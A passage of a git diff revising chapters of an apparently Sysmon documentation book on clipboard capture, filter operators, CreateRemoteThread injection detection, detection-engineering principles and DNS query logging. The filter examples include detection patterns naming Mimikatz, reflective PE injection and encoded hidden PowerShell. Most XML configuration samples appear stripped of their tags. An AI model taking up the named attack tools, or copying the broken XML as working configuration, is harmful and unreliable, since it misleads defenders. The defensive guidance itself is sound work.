added in Sysmon version 12.0 with schema 4.40. Clipboard monitoring is a **low-volume, high-sensitivity event type** that provides unique visibility into data theft but comes with significant privacy and security considerations that require careful deployment planning. -Before creating filters for even a element of **\** need to be added under the Sysmon element. Once this element is added you can create filters for the event type. The **\** element in the configuration XML controls the location of the saved text. +Detection Value and Why It Matters +----------------------------------- -As it is obvious this type of data is sensitive since it may contain code, credentials, persona identifiable information or more. This is one of the reasons that the data is not stored in the eventlog but in the heavily permissioned folder. Because of this certain care should be taken when deciding on what systems it would be of value to enable this kind of logging. Recommended system would be servers that have RDP enabled, especially those exposed to untrusted networks. It is important to make sure that administrators of the system know that this is enabled and the danger of putting in scope an RDP window with sensitive text in the clipboard so as to not store sensitive information in systems. It is not recommended to enable this capture on client machines due to the risk of unencrypted sensitive data being stored even if the folder is heavily permissioned with Access Control Lists. +Clipboard monitoring detects data theft techniques that are difficult to observe through other telemetry: +**Credential Theft via RDP/Remote Sessions**: Attackers and penetration testers commonly: +* Copy credentials from password managers on their local machine +* Paste credentials into RDP sessions to compromised servers +* Transfer authentication tokens or API keys via clipboard +* Move data between compromised systems using clipboard redirection -The fields for the event are: +**Data Exfiltration**: Attackers use the clipboard to stage data for exfiltration: +* Copy sensitive documents, code, or configuration data +* Transfer small amounts of data between systems via remote sessions +* Exfiltrate data from environments where file transfer is restricted -* **RuleName**: Name of rule that triggered the event. +**Lateral Movement Evidence**: Clipboard content can reveal: +* Commands being copy-pasted across multiple systems +* Credentials being reused across the environment +* PowerShell scripts or commands being staged for execution -* **UtcTime**: Time in UTC when event was created +**MITRE ATT&CK Mapping**: +* **T1115 - Clipboard Data** - Accessing clipboard for credential or data theft +* **T1056.001 - Input Capture: Keylogging** - Related technique for capturing user input +* **T1021.001 - Remote Services: Remote Desktop Protocol** - RDP sessions where clipboard is commonly used + +Privacy and Security Considerations +------------------------------------ + +**Critical Privacy Warning**: Clipboard capture is an **extremely sensitive capability** that can expose private, confidential, and legally protected information. Clipboard data may contain: +* Passwords, API keys, and authentication tokens +* Personal identifiable information (PII) +* Protected health information (PHI) +* Financial data, credit card numbers +* Confidential business information +* Private communications + +**Data Protection Requirements:** + +Clipboard data is stored as files in the archive directory (same location as File Delete archived files), **NOT in the event log**. The archive directory is protected by SYSTEM-level ACLs: +* Only SYSTEM account can access the files +* Must use PsExec or similar tool to read: `PsExec.exe -sid cmd` +* Files are named by their hash value +* Encryption at rest is critical if storing sensitive clipboard data + +**Legal and Compliance Risks:** +* May violate privacy laws (GDPR, CCPA) if not properly disclosed +* Could capture attorney-client privileged communications +* May require consent depending on jurisdiction +* Data retention policies must be carefully considered +* Access controls and audit logging are essential + +When to Use Clipboard Monitoring +--------------------------------- + +**Recommended Use Cases:** +* **RDP-enabled servers** exposed to untrusted networks (bastion hosts, jump servers) +* **Privileged access workstations** (PAWs) used for administrative tasks +* **High-value targets** where credential theft is a primary concern +* **Honeypot systems** where any clipboard activity is inherently suspicious +* **Incident response** during active investigations (temporary deployment) + +**NOT Recommended:** +* **General user workstations** - Privacy risks far outweigh detection value +* **Developer workstations** - Will capture code, credentials, and sensitive data constantly +* **Environments without strong data protection controls** +* **Systems where users are not informed** about clipboard monitoring + +**Critical Requirement**: Users and administrators **must be informed** that clipboard monitoring is active. Accidental capture of sensitive data in legitimate workflows is common, particularly in RDP environments. + +Volume Characteristics +----------------------- + +Clipboard capture volume varies significantly: +* **RDP jump servers**: Moderate volume (10-50 events per day per active session) +* **Interactive user workstations**: High volume (hundreds of events per day) +* **Servers without interactive sessions**: Very low volume (near zero) + +The volume depends entirely on user behavior - how often they copy and paste text. + +How Clipboard Monitoring Works +------------------------------- + +When enabled, Sysmon monitors the Windows clipboard API and logs whenever text is stored: +1. Application writes text to clipboard +2. Sysmon intercepts the clipboard write +3. Event is logged with metadata (process, session, client info) +4. Clipboard text is saved to archive directory as a file (named by hash) +5. EventID 24 references the file by hash + +**Important**: Only **text** clipboard data is captured. Images, files, and other clipboard formats are not logged. + +**Enabling Clipboard Capture:** +Add the `` element under the main `` element in your configuration: + +```xml + + + SecureClipboardArchive + + +``` + +Without ``, clipboard events are not generated even if filtering rules are present. + +What to Investigate +-------------------- + +When reviewing clipboard capture events, prioritize investigation of: -* **ProcessGuid**: Process Guid of the process that stored the text in the clipboard. +**1. RDP Session Clipboard Activity** +* Clipboard usage during remote desktop sessions (Session field != 0) +* ClientInfo shows remote hostname and IP address +* Particularly suspicious during off-hours or from unexpected IP ranges -* **ProcessId**: Process ID of the process that stored the text in the clipboard. +**2. Suspicious Processes Accessing Clipboard** +* PowerShell, CMD, scripting engines writing to clipboard +* Processes from temp directories or unusual locations +* Malware sometimes uses clipboard for C2 communication or data staging -* **Image**: The process that recorded to the clipboard. +**3. Session Analysis** +* Session field indicates session type: + - Session 0: System/service context (very unusual for clipboard use) + - Session 1+: Interactive or RDP sessions +* Correlate clipboard activity with logon events to identify user -* **Session**: Session where the process writing to the clipboard is running. This can be system(0) interactive or remote, etc. +**4. Patterns Indicating Credential Theft** +* Multiple clipboard writes in quick succession during RDP session +* Clipboard activity immediately after connecting to RDP session +* Review archived clipboard files for credential patterns (manually, with care) -* **ClientInfo**: this will contain the session username, and in case of a remote session the originating hostname, and the IP address when available. +**5. Data Exfiltration Indicators** +* Large amounts of clipboard activity during suspected compromise +* Clipboard use correlating with network connections to external IPs +* Repeated clipboard writes of similar content + +**6. Unexpected Clipboard Sources** +* Services or system processes writing to clipboard (unusual) +* Clipboard activity on servers that should have minimal interactive use + +Event Fields +------------ + +The clipboard capture event fields are: + +* **RuleName**: Name of rule that triggered the event +* **UtcTime**: Time in UTC when event was created +* **ProcessGuid**: Process GUID of the process that stored text in clipboard +* **ProcessId**: Process ID of the process that stored text in clipboard +* **Image**: File path of the process that wrote to the clipboard +* **Session**: Session ID where the process is running (0 = system, 1+ = interactive/remote) +* **ClientInfo**: Contains session username, and for remote sessions: originating hostname and IP address +* **Hashes**: Hash of the clipboard text file (also the filename in archive directory) +* **Archived**: Status indicating whether text was successfully stored in archive directory (`true` or `false`) -* **Hashes**: This determines the file name, same as the FileDelete event. +Configuration Examples +----------------------- -* **Archived**: Status whether is was stored in the configured Archive directory. +**Example 1: Capture All Clipboard Activity (High Privacy Risk)** -A sample configuration to capture all clipboard events: +This configuration logs all clipboard events with no filtering: -```XML +```xml - sha1 + SHA256 + SecureClipboardArchive + - + +``` + +**Recommended only for**: Jump servers, PAWs, honeypots where all clipboard use is monitored by design. + +**Example 2: Monitor Only Remote RDP Sessions** +Capture clipboard activity only during RDP sessions, not local interactive sessions: + +```xml + + SHA256 + + SecureClipboardArchive + + + + + rdpclip.exe + + + + +``` + +This focuses on RDP clipboard transfers, reducing noise from local clipboard use. + +**Example 3: Monitor Suspicious Processes Only** + +Capture clipboard use by processes commonly abused by attackers: + +```xml + + SHA256 + + SecureClipboardArchive + + + + + powershell.exe + cmd.exe + cscript.exe + wscript.exe + + + rdpclip.exe + + + \Temp\ + \AppData\Local\Temp\ + + + + ``` -This is an event of a user connecting to a VM using Hyper-V console that leverages RDP: - -```XML -Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event"> - - - 24 - 5 - 4 - 24 - 0 - 0x8000000000000000 - - 92 - - - Microsoft-Windows-Sysmon/Operational - SDDC01.acmelabs.pvt - - +**Example 4: Exclude Known Noisy Applications** + +Start with broad coverage but exclude applications that generate excessive noise: + +```xml + + SHA256 + + SecureClipboardArchive + + + + + C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE + C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE + \Microsoft VS Code\ + + + \Google\Chrome\Application\chrome.exe + \Mozilla Firefox\firefox.exe + + + + +``` + +Important Limitations and Warnings +----------------------------------- + +**Hyper-V and RDP Console Exposure**: In Hyper-V environments where Sysmon is configured for clipboard capture, **selecting a VM console window from Hyper-V Manager** can trigger clipboard events because Hyper-V uses RDP for displaying VM UI. This can accidentally expose clipboard contents from the host system. Administrators must be aware of this behavior. + +**Example Event**: RDP clipboard capture from Hyper-V console session: + +```xml - - - 2020-10-07 19:57:53.908 - {fcb91365-c386-5f7d-c100-000000000500} - 108 - C:\Windows\System32\rdpclip.exe - 1 - user: acmelabs\Admin ip: FE80:0000:0000:0000:013E:52B8:0C83:3DE3 hostname: DESKTOP-LH0AJLB - SHA1=292341BFA0C002051415142B99991871C53B3905,MD5=94B9F6FA8509AB6771F72304C0B3538B,SHA256=1AAE1F7AD5E7CB54F0302794430DFBB0CCCF6DA1F3C79DE1B17E8D367D7BF6C1,IMPHASH=00000000000000000000000000000000 - true - - + C:\Windows\System32\rdpclip.exe + 1 + user: acmelabs\Admin ip: FE80::013E:52B8:0C83:3DE3 hostname: DESKTOP-LH0AJLB + true + +``` + +**Clipboard Data Is Not in Event Log**: The actual clipboard text is stored in the archive directory as files, not in the event log. This means: +* SIEM ingestion captures metadata only, not clipboard content +* To review clipboard content, you must access the archive directory with SYSTEM privileges +* Clipboard files must be secured with encryption at rest and access controls +* Retention policies for clipboard files must be defined and enforced + +**No Image/File Capture**: Only text clipboard data is captured. Copy-pasting files, images, or other non-text formats does not generate EventID 24. + +Best Practices for Clipboard Monitoring +---------------------------------------- + +1. **Minimize Deployment Scope**: Only enable on systems where the detection value clearly outweighs privacy risks +2. **User Notification**: Inform users and administrators that clipboard monitoring is active +3. **Secure Archive Directory**: + - Use strong ACLs (SYSTEM-only by default is good) + - Encrypt at rest + - Implement retention policies + - Monitor access to clipboard archive files +4. **Legal Review**: Consult legal/compliance teams before deployment +5. **Regular Review**: Periodically verify clipboard monitoring is still necessary +6. **Incident Response**: Consider enabling temporarily during active investigations rather than continuous monitoring +7. **Data Minimization**: Use targeted filtering to capture only necessary clipboard events +8. **Audit Access**: Log and monitor any access to archived clipboard files + +Data Retention and Cleanup +--------------------------- + +Clipboard archive files accumulate over time. Implement a retention policy: +* Define maximum retention period (e.g., 30 days, 90 days) +* Automate cleanup of old clipboard files +* Document retention policy for compliance +* Ensure cleanup process preserves files needed for active investigations + +Example PowerShell cleanup script (run as SYSTEM): +```powershell +# Delete clipboard files older than 30 days +$archivePath = "C:\SecureClipboardArchive" +$retentionDays = 30 +Get-ChildItem -Path $archivePath -File | + Where-Object { $_.LastWriteTime -lt (Get-Date).AddDays(-$retentionDays) } | + Remove-Item -Force ``` -In Hyper-V environments where Sysmon is configured for this event type and capturing for RDP connections, will also capture when the window for the console is selected from Hyper-V Manager given it uses RDP for displaying the UI of the VM. Because of this text in the clipboard can be captured by accident exposing its contents to logs. +Summary +------- +Clipboard capture (EventID 24) is a powerful but sensitive capability: +* **Use sparingly**: RDP jump servers, PAWs, honeypots +* **Privacy first**: Consider legal, ethical, and privacy implications +* **Inform users**: Transparency is essential +* **Secure the data**: Strong access controls and encryption +* **Define retention**: Clear policies for data lifecycle +When deployed appropriately with proper safeguards, clipboard monitoring provides unique visibility into credential theft and data exfiltration during remote sessions. diff --git a/chapters/configuration.md b/chapters/configuration.md index 91c49de..24fb295 100644 --- a/chapters/configuration.md +++ b/chapters/configuration.md @@ -211,6 +211,247 @@ In the filters element under configuration is the list of operators that can be Each of these operators execute against the value in a given field for each of the event types. +### Filter Operator Examples + +Below are practical examples demonstrating how to use each filter operator in Sysmon configurations: + +#### is + +Matches an exact value. Case-sensitive for strings. + +```xml + + + + C:\Windows\System32\cmd.exe + + +``` + +#### is not + +Negates an exact match. Includes events that do NOT match the specified value. + +```xml + + + + C:\Windows\System32\cmd.exe + + +``` + +#### is any + +Matches any of the provided exact values. Values are separated by semicolons (;). + +```xml + + + + 80;443;8080;8443 + + +``` + +#### contains + +Matches if the specified string is found anywhere within the field value. Case-insensitive. + +```xml + + + + powershell + + +``` + +#### excludes + +Excludes events where the field value matches the specified string. + +```xml + + + + \System32\ + + +``` + +#### excludes all + +Excludes events only if ALL specified values are present in the field. Values are separated by semicolons (;). + +```xml + + + + -NoProfile;-ExecutionPolicy Bypass + + +``` + +#### excludes any + +Excludes events if ANY of the specified values are present in the field. Values are separated by semicolons (;). + +```xml + + + + -EncodedCommand;-enc;-e + + +``` + +#### image + +Matches only the image name without the full path. This is useful for matching process names regardless of their location. + +```xml + + + + cmd.exe + + +``` + +#### begins with + +Matches if the field value starts with the specified string. Case-insensitive. + +```xml + + + + C:\Users\ + + +``` + +#### not begins with + +Matches if the field value does NOT start with the specified string. + +```xml + + + + C:\Windows\ + + +``` + +#### ends with + +Matches if the field value ends with the specified string. Case-insensitive. + +```xml + + + + .exe + + +``` + +#### not ends with + +Matches if the field value does NOT end with the specified string. + +```xml + + + + .txt + + +``` + +#### less than + +Compares numeric values. Matches if the field value is less than the specified number. + +```xml + + + + 1024 + + +``` + +#### more than + +Compares numeric values. Matches if the field value is greater than the specified number. + +```xml + + + + 49151 + + +``` + +#### contains any + +Matches if the field contains ANY of the specified strings. Values are separated by semicolons (;). + +```xml + + + + Invoke-Mimikatz;Invoke-ReflectivePEInjection;Invoke-Shellcode + + +``` + +#### contains all + +Matches if the field contains ALL of the specified strings. Values are separated by semicolons (;). + +```xml + + + + powershell;-WindowStyle Hidden;-EncodedCommand + + +``` + +### Combining Multiple Operators + +Operators can be combined within a single Rule element to create more complex filtering logic: + +```xml + + + + + powershell.exe + + -EncodedCommand + + C:\Windows\System32\ + + + +``` + +### Performance Considerations + +When using filter operators, be aware that some operators consume more CPU resources than others. The operators that use slightly more resources are: + +* contains +* contains all +* contains any + +For high-performance environments, prefer exact match operators (`is`, `is any`) or path-based operators (`begins with`, `ends with`) when possible. + Event Schema ------------ diff --git a/chapters/cover.png b/chapters/cover.png deleted file mode 100644 index 78c61d2..0000000 Binary files a/chapters/cover.png and /dev/null differ diff --git a/chapters/create-remote-thread.md b/chapters/create-remote-thread.md index 453908e..805d8c2 100644 --- a/chapters/create-remote-thread.md +++ b/chapters/create-remote-thread.md @@ -1,13 +1,30 @@ Create Remote Thread ==================== -Sysmon will log **EventID 8** for all processes that use the Win32 API -[CreateRemoteThread](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createremotethread) -call. +Sysmon will log **EventID 8** for processes that use the Win32 API [CreateRemoteThread](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createremotethread) call. This is a **low-volume, high-value event type** that detects one of the most common process injection techniques used by malware and attackers. -This call is used by some programs, parts of the OS and debuggers making -the number of events easy to filter out the normal usages to detect the -outliers. +Detection Value and Why It Matters +----------------------------------- + +CreateRemoteThread is a classic process injection technique where one process creates a thread in another process to execute code. This is used by attackers for: + +**Code Injection**: Injecting malicious code into legitimate processes to evade detection and inherit the target process's privileges and context. + +**Defense Evasion**: Running malicious code inside trusted processes (explorer.exe, svchost.exe) to avoid detection by security tools that trust those processes. + +**Privilege Escalation**: Injecting into processes running with higher privileges. + +**Persistence**: Maintaining presence by continuously injecting into long-running system processes. + +**MITRE ATT&CK Mapping**: +* **T1055.001 - Process Injection: Dynamic-link Library Injection** +* **T1055.002 - Process Injection: Portable Executable Injection** +* **T1055 - Process Injection** (general) + +How CreateRemoteThread Injection Works +--------------------------------------- + +Process injection using CreateRemoteThread follows this pattern: Process of use/abuse of CreateRemoteThread @@ -61,11 +78,52 @@ The fields for the event are: * **StartFunction**: Start function is reported if exact match to function in image export tables -Since the number of processes that use the **CreateRemoteThread()** API in a production environment is low, the best approach is to exclude known good processes by their full path. **CreateRemoteThread()** is not the only API call that can be used to create a thread, so it should not be relied on as a definitive guarantee of lack of process injection. +Configuration Strategy: Log All, Exclude Known-Good +---------------------------------------------------- + +The number of processes that legitimately use CreateRemoteThread() in a production environment is **very low**. This makes it ideal for a **log-all approach** with minimal exclusions. + +**Important Limitation**: CreateRemoteThread() is not the only API for creating remote threads. Attackers may use alternative methods like: +* NtCreateThreadEx() +* RtlCreateUserThread() +* QueueUserAPC() +* Other undocumented APIs + +Sysmon only monitors CreateRemoteThread(), so this event type alone does not guarantee detection of all process injection. It should be combined with other event types (Process Access, Image Loading) for comprehensive coverage. + +What to Investigate +------------------- + +When reviewing CreateRemoteThread events, prioritize: + +**1. Unknown Source Processes** +* Any SourceImage you don't recognize or that isn't a system process +* Processes running from temp directories or user folders +* Unsigned or suspicious executables + +**2. Injection into Critical Processes** +* Threads created in explorer.exe, lsass.exe, or other critical system processes +* Especially suspicious if the source is not a system process + +**3. Unusual StartModule or StartAddress** +* StartModule not pointing to legitimate system DLLs +* StartAddress in unusual memory regions +* StartFunction that doesn't match expected behavior + +**4. Script Engines or Office Apps as Source** +* powershell.exe, cscript.exe, wscript.exe creating remote threads +* WINWORD.EXE, EXCEL.EXE injecting into other processes (very suspicious) + +**5. Correlation with Other Events** +* Cross-reference with Process Access events for the same target +* Check if the source process was recently created (staging malware) ![process](./media/image58.png) -Example where known processes that use the API call are excluded +Example Configuration: Excluding Known-Good System Processes +------------------------------------------------------------- + +After baselining, exclude verified legitimate uses of CreateRemoteThread: ```xml diff --git a/chapters/detection-engineering.md b/chapters/detection-engineering.md new file mode 100644 index 0000000..1b718a7 --- /dev/null +++ b/chapters/detection-engineering.md @@ -0,0 +1,154 @@ +Detection Engineering Fundamentals +=================================== + +Before diving into the technical details of Sysmon, it is important to understand the discipline that makes this tool truly valuable: detection engineering. Sysmon is not just a logging tool - it is a powerful instrument for detecting malicious behavior. However, like any instrument, its effectiveness depends on how skillfully it is used. + +What is Detection Engineering? +------------------------------- + +Detection engineering is the practice of designing, building, and maintaining systems that identify malicious or anomalous behavior in an environment. It sits at the intersection of threat intelligence, system knowledge, and data analysis. A detection engineer takes what we know about how attackers operate and translates that knowledge into concrete detection logic that can identify those behaviors when they occur. + +Think of it this way: if attackers are constantly finding new ways to break into systems, detection engineers are constantly finding new ways to spot them doing it. This is not about waiting for antivirus signatures or relying solely on tools to protect you. Detection engineering is proactive - it means understanding your environment so well that you can recognize when something does not belong. + +In the context of Sysmon, detection engineering means configuring the tool to capture the right information at the right time. Not everything that happens on a system is suspicious, and logging everything creates more problems than it solves. The skill lies in knowing what to capture and what to ignore. + +Understanding Key Concepts +--------------------------- + +To work effectively with Sysmon as a detection engineer, you need to understand several important concepts: + +**Signal-to-Noise Ratio**: This is perhaps the most critical concept. Signal refers to the meaningful data - the evidence of actual threats or important events. Noise refers to the normal, benign activity that clutters your logs. A good Sysmon configuration maximizes signal while minimizing noise. If your logs are 99% noise, you will miss the 1% that matters. + +**True Positives**: These are legitimate detections - your system correctly identified actual malicious or anomalous activity. This is what we are trying to achieve. + +**False Positives**: These occur when your detection logic flags normal, benign activity as suspicious. Too many false positives erode trust in your detections and waste valuable analyst time. Reducing false positives is one of the main goals of iterative configuration development. + +**False Negatives**: These are the detections you missed - malicious activity that occurred but was not captured or flagged. False negatives are dangerous because they represent blind spots in your visibility. This happens when configurations are too restrictive or when exclusions are too broad. + +**Baseline**: A baseline is your understanding of what normal looks like in your environment. You cannot identify anomalies until you know what normal behavior is. Baselining involves observing your systems over time to understand typical process execution, network connections, file operations, and other activities. + +**MITRE ATT&CK Framework**: This is a knowledge base of adversary tactics and techniques based on real-world observations. It helps detection engineers understand what attackers do and, more importantly, what data sources can detect those actions. Sysmon is one of the most valuable data sources referenced in the ATT&CK framework, particularly for process monitoring. + +Why Sysmon Configuration Matters +--------------------------------- + +Out of the box, Sysmon can be configured to log everything or log nothing. Neither extreme is useful. Logging everything creates an overwhelming volume of data that is expensive to store, slow to search, and impossible to analyze effectively. Logging nothing gives you no visibility. + +The real value of Sysmon comes from thoughtful configuration. A well-designed configuration captures the behaviors that matter while filtering out the noise. This serves several critical purposes: + +**Improved Detection Capability**: When your logs contain mostly meaningful data, it becomes much easier to identify actual threats. Analysts can focus on investigating real issues rather than wading through normal system activity. + +**Reduced Storage Costs**: Security data can consume enormous amounts of storage, especially in large environments. Every event Sysmon logs must be stored, often for months or years for compliance reasons. Filtering out unnecessary events can reduce storage requirements by 80% or more in some cases. + +**Better SIEM Performance**: Security Information and Event Management (SIEM) platforms are where Sysmon logs are typically sent for analysis. These systems have to index, search, and correlate millions of events. The more data you feed them, the slower they become and the more expensive they are to operate. A lean, well-filtered log stream keeps your SIEM responsive and cost-effective. + +**Faster Investigations**: When an incident occurs, time matters. Analysts need to quickly understand what happened. If they have to sift through thousands of irrelevant events to find the few that matter, investigations slow down. Clean logs mean faster response times. + +**Compliance and Retention**: Many organizations must retain security logs for regulatory compliance. The more you log, the more you must retain. Thoughtful configuration ensures you are retaining valuable evidence, not just storing noise. + +Defense in Depth: Sysmon is Not Enough +--------------------------------------- + +One of the most critical principles in detection engineering is **defense in depth** - the concept that no single tool or data source should be your only line of defense. While Sysmon provides exceptional visibility into endpoint activity, it should **never be your only source of detection telemetry**. + +**Why Multiple Data Sources Matter**: + +Sysmon can be disabled, evaded, or bypassed by sophisticated attackers. If Sysmon is your only detection mechanism, a single point of failure exists. Mature detection programs use multiple, overlapping data sources that provide redundancy and complementary visibility. + +**Windows Native Audit Logs**: Windows has built-in audit logging capabilities that should be enabled alongside Sysmon: + +* **Security Event Log**: Provides authentication events (logon/logoff), privilege use, account management, and policy changes that Sysmon does not capture + - Event ID 4688 (Process Creation) provides similar data to Sysmon Event ID 1, offering redundancy + - Event ID 4624/4625 (Logon Success/Failure) are critical for detecting credential attacks and lateral movement + - Event ID 4672 (Special Privileges Assigned) identifies privilege escalation + - Event ID 4698-4702 (Scheduled Task Events) detect persistence mechanisms + +* **System Event Log**: Captures service installations, system startups, and critical system events that can indicate tampering or persistence + +* **Application Event Log**: May contain evidence of exploitation or abuse of applications + +* **PowerShell Operational Logs**: Module logging, script block logging, and transcription provide deep visibility into PowerShell activity that complements Sysmon's process creation and script file monitoring + +* **WMI-Activity/Operational**: Logs WMI activity including temporary subscriptions and events in the Root namespace that Sysmon does not capture (Sysmon only logs Root\Subscription) + +**Why This Redundancy is Critical**: + +1. **Attacker Evasion**: Attackers may target Sysmon specifically, attempting to stop the service or tamper with the driver. Windows audit logs are harder to disable without generating obvious alerts. + +2. **Data Correlation**: Having multiple sources for the same event type (like process creation from both Sysmon and Windows Security Event ID 4688) allows you to detect tampering. If one source shows an event but the other does not, this is a strong indicator of log manipulation. + +3. **Complementary Coverage**: Some activities are better captured by Windows audit logs than Sysmon. For example, Windows Security events provide detailed authentication information, privilege use, and account activity that Sysmon does not cover. + +4. **Forensic Completeness**: During incident response, having multiple log sources provides a more complete timeline and can help validate findings. If logs conflict, it may indicate attacker activity. + +5. **Detection Gaps**: As mentioned in the Sysmon chapter content, certain Sysmon event types have known limitations. For example, Sysmon only detects CreateRemoteThread() for process injection but not alternative APIs like NtCreateThreadEx(). Windows audit logs may capture related behaviors that Sysmon misses. + +**Practical Implementation**: + +For each detection use case, identify **all available data sources** that can provide visibility: + +* **Lateral Movement Detection**: Combine Sysmon network connections (Event ID 3) with Windows logon events (4624/4625), network connection audit events, and firewall logs + +* **Credential Access**: Use Sysmon process access events (Event ID 10) for LSASS dumping alongside Windows Security audit policy for sensitive privilege use and special logon events + +* **Persistence Mechanisms**: Monitor with Sysmon registry events (12-14), file creation (11), service events (4), WMI events (19-21), AND Windows Security scheduled task events (4698-4702), service installation events (7045), and startup program modifications + +* **Process Execution**: Log both Sysmon process creation (Event ID 1) and Windows Security process creation (Event ID 4688, requires audit policy and command line logging enabled) + +**Best Practice**: When designing detection rules, always ask: "If Sysmon is compromised or bypassed, what other data sources can detect this behavior?" If the answer is "none," you have identified a dangerous single point of failure that needs additional data sources. + +This layered approach ensures that even if an attacker disables Sysmon or finds ways to evade its monitoring, your detection capability remains intact through other telemetry sources. It also provides the redundancy needed to detect log tampering itself - a critical capability when responding to sophisticated adversaries. + +The Iterative Configuration Process +------------------------------------ + +Creating an effective Sysmon configuration is not a one-time task. It is an iterative process that requires continuous refinement. Here is how mature detection engineering teams approach this: + +**Phase 1 - Initial Deployment**: Start with a conservative configuration that captures key event types without exclusions. This gives you broad visibility to understand what is happening in your environment. Yes, it will be noisy, but that is expected at this stage. It is important to note that not all event types require the same approach. Some event types, like process tampering, driver loading, or raw disk access, are relatively infrequent in normal operations. For these low-volume event types, you can often log all occurrences without filtering and still maintain a good signal-to-noise ratio. Other event types, like process creation or network connections, occur constantly and require more aggressive filtering to be useful. + +**Phase 2 - Baselining**: Observe the data being generated. What processes run regularly? What network connections are normal? What file operations happen as part of standard business activities? This phase typically takes 2-4 weeks, depending on your environment's complexity. Document what you learn. During this phase, you will quickly identify which event types generate high volumes of data and which remain relatively quiet. + +**Phase 3 - Tuning**: Begin adding exclusions to filter out known-good activity for high-volume event types. This is where you reduce the noise. Be conservative - it is better to exclude too little at first than to exclude too much and create blind spots. Focus on high-volume, low-value events first. For low-volume event types that rarely occur during normal operations, you may decide to keep logging everything, using targeted include filters to ensure you capture the specific behaviors that matter most. + +**Phase 4 - Validation**: After applying exclusions, validate that you have not created false negatives. Test your configuration against known attack techniques (in a safe, controlled manner). Can you still detect process injection? Do lateral movement attempts still generate logs? This phase is critical and often skipped, which leads to dangerous blind spots. + +**Phase 5 - Monitoring and Refinement**: Even after deployment, continue to monitor the effectiveness of your configuration. As your environment changes - new applications are deployed, systems are upgraded, business processes evolve - your configuration must adapt. Schedule regular reviews, perhaps quarterly, to assess whether your configuration still meets your needs. + +**Phase 6 - Threat Intelligence Integration**: As new attack techniques emerge or new vulnerabilities are disclosed, revisit your configuration. Can you detect this new technique? Do you need to modify exclusions to ensure visibility? This keeps your detections current and effective. + +This iterative cycle never truly ends. Detection engineering is continuous improvement, not a project with a finish line. + +Balancing Coverage and Performance +----------------------------------- + +One of the hardest lessons for new detection engineers to learn is that you cannot log everything. There is a natural desire to maximize visibility by capturing all possible data. However, this creates real problems: + +**System Performance Impact**: Sysmon runs at the kernel level and filters events in real-time. The more complex your configuration and the more events you capture, the more CPU resources Sysmon consumes. In extreme cases, poorly designed configurations can noticeably impact system performance. + +**Network and Storage Costs**: Every event logged must be transmitted to your SIEM and stored. In a large environment, this can mean terabytes of data per day. At cloud storage prices, this becomes expensive quickly. Network bandwidth to transmit logs can also become a constraint. + +**Analysis Paralysis**: Human analysts can only review so much data. If you generate millions of events per day, no team can keep up with reviewing them all. The more noise in your logs, the more likely real threats are to be missed. + +The key is to focus on capturing outliers and anomalies, not normal behavior. You want to log the things that should not happen, not the things that happen all the time. This is especially important for high-volume event types like process creation and network connections. For lower-volume event types, the cost-benefit analysis is different - the overhead of logging all driver loads or all process tampering events is usually acceptable because these events are rare enough that they do not overwhelm your systems. + +Reducing False Positives and False Negatives +--------------------------------------------- + +The goal of configuration tuning is to minimize both false positives and false negatives. These two objectives can be in tension - making your rules more specific to reduce false positives can create gaps that increase false negatives. The skill is finding the right balance. + +**Reducing False Positives**: When you encounter false positives, resist the urge to immediately add broad exclusions. Instead, understand why the false positive occurred. Is this a legitimate business process you did not know about? Can you exclude it using multiple specific criteria rather than a broad rule? For example, instead of excluding all PowerShell execution, exclude PowerShell when it is launched by a specific management tool from a specific path with specific parameters. + +**Preventing False Negatives**: False negatives often result from overly aggressive exclusions. When you exclude events, ask yourself: could an attacker abuse this exclusion? If you exclude a process by name only, an attacker can simply copy their malicious tool to use that same name. This is why multi-field exclusions are critical - use combinations of process path, command line parameters, hashes, and parent process information to create exclusions that are specific enough that they cannot be easily mimicked. + +**Testing is Essential**: The only way to know if you have introduced false negatives is to test. Use frameworks like Atomic Red Team or tools like Caldera to safely simulate attack techniques in a test environment. Run your simulated attacks and verify that your Sysmon configuration still captures the activity. If an attack simulation does not generate the expected logs, you have found a false negative that needs to be addressed. + +The Path Forward +---------------- + +As you work through the chapters that follow, keep these detection engineering principles in mind. Each event type will discuss not just what Sysmon can log, but why it matters for detection, how to configure it effectively, and what to watch out for. + +Detection engineering is as much an art as a science. It requires understanding both the technical capabilities of your tools and the creative thinking of your adversaries. The goal is not perfection - you will never have zero false positives or zero false negatives. The goal is continuous improvement, building a detection capability that is effective, sustainable, and resilient. + +Sysmon is one of the most powerful tools available for endpoint detection, but its power comes from how you use it. A thoughtfully designed, iteratively refined configuration tuned to your environment's needs will serve as the foundation for strong security monitoring and rapid incident response. + +Now, let us explore how to put these principles into practice. diff --git a/chapters/dns-query.md b/chapters/dns-query.md index 99d32f7..2e72a3f 100644 --- a/chapters/dns-query.md +++ b/chapters/dns-query.md @@ -1,7 +1,60 @@ DNS Query ========= -Sysmon will log EventID 22 to log all DNS Queries using the Windows DnsQuery_* API calls in **dnsapi.dll**. Logging is supported on Windows 8.1 or above since it leverages new ETW functionality in newer versions of Windows. Programs that do their own DNS resolution and do not use the Windows API calls will not be logged +Sysmon will log **EventID 22** for DNS queries made using the Windows DnsQuery_* API calls in **dnsapi.dll**. DNS query logging provides valuable detection capabilities for command and control communication, data exfiltration via DNS tunneling, and discovery activity. However, volume can be **moderate to high** depending on configuration, requiring careful filtering. + +Detection Value and Use Cases +------------------------------ + +DNS query monitoring provides visibility into: + +**Command and Control (C2) Detection**: Attackers must resolve domain names to connect to C2 infrastructure. DNS logs help detect: +* Newly registered domains (often used for C2) +* Domain generation algorithms (DGA) producing random-looking domains +* Fast-flux DNS (rapidly changing IP addresses) +* Connections to known malicious domains + +**Data Exfiltration via DNS Tunneling**: Attackers encode data in DNS queries to bypass network controls: +* Unusually long DNS queries (data encoded in subdomain) +* High volume of DNS queries to the same domain +* Suspicious TXT or other record type queries + +**Discovery and Reconnaissance**: Attackers query DNS during reconnaissance: +* Internal domain enumeration +* Checking for internet connectivity +* Identifying security controls + +**MITRE ATT&CK Mapping**: +* **T1071.004 - Application Layer Protocol: DNS** - C2 over DNS +* **T1568 - Dynamic Resolution** - Domain generation algorithms +* **T1048.003 - Exfiltration Over Alternative Protocol: DNS** - DNS tunneling +* **T1590 - Gather Victim Network Information** - DNS reconnaissance + +Important Technical Limitations 